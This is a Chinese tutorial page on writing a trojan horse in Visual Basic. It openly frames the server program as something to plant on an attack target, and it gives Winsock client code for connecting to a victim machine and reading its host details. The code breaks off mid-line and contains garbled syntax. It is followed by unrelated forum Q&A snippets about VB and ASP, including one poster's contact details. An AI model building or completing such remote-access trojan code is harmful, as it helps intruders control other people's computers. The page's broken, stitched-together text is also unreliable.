用vb编写木马程序
木马一般分为两个主程序:一个是服务器端的程序(server),另一个是客户端程序(client),服务器程序是给
攻击对象用的,千万不可用错了----给自己种马的人......^0^
客户程序才是给自己用的,于是我们就用VB建立两个程序,一个为服务器端程序 cockhorseserver,另一个为
客户端程序cockhorseclient.
先在cockhorseclient程序中建立一个窗体,加载一个winsock控件,称为tcpclient,再加上两个文本框,用来
输入服务器的IP地址和端口号.另外还要建立一个按钮,按下后可以对连接进行初始化.
代码我写下:
Private Sub Command1_Click()
'调用connect方法,初始化连接.
tcpclient.RemoteHost = ipinput.Text
tcpclient.RemotePort = Val(portinput.Text) '这是端口号,默认为1001
tcpclient.Connect '和指定的IP相对的计算机相连接
cmdconnect.Enabled = False
End Sub
(在收到数据之后,就要对这些数据做出相应的处理,使用dataarrival事件,可以方便运载数据进操作.
Private Sub tcpclient_dataArrival(ByVal bytestotal As Long)
Dim strdata As String
tcpclient.GetData strdata
If strdata = "test connect" Then
tcpstate.Text = "connect OK" + vbNewLine + LocalIP Is ":" + -tcpclient.LocalIP + "computer name is : " + tcpclient.LocalHostName
tcpstate.Text = tcpstate.Text + vbNewLine + "remote ip is :" + -tcpclient.RemoteHostIP + "computer name is : " + tcpclient.remotehostname
If InStr(Trim(strdata), "clos
相关问答：
为什么C写的DLL文件C、PB能调用VB不能调用？
VB里为什么有的DLL直接通过引用可以使用？有的需要通过declare申明外部函数？这些DLL有什么差别？
1、为什么PB能通过DECLARE声明而VB不行？
2、如果这个dll中的 ......
一个查询某信息的ASP网页，提交采用的是post方法，查找结果的网页必须右键点击“查看源文件”才能看到真正查询结果网页的源代码，用浏览器菜单看到的是查询前的源代码
用VB有什么办法可以获取到这个查询后的源代� ......
TF1.text = " <_2_ZCHGZBH> " & MSFlexGrid1.TextMatrix(k, 1) & " </_2_ZCHGZBH> "
大家好，我用上面一个东西赋值 TF1.text = & ......
VB偶学得不错，现在大一，高三的时候就学VB了，现在学校里都是学C#和VB.NET的兄弟多。。。
偶要转行VB.NET了~当年学VB学了2年，对VB里面的常用函数都十分了解。
Select、If结构、For Next循环、等都了解。。。 ......
菜鸟学VB,各位大侠能帮助我么，我的QQ是544508194，mail. huguyue619@163.com
恳请各位大侠加我，指点小弟一二
请经常光顾本论坛,有疑难众多高手都会尽力.
动手实践写代码,经常光顾本论坛浏览与学习.
......
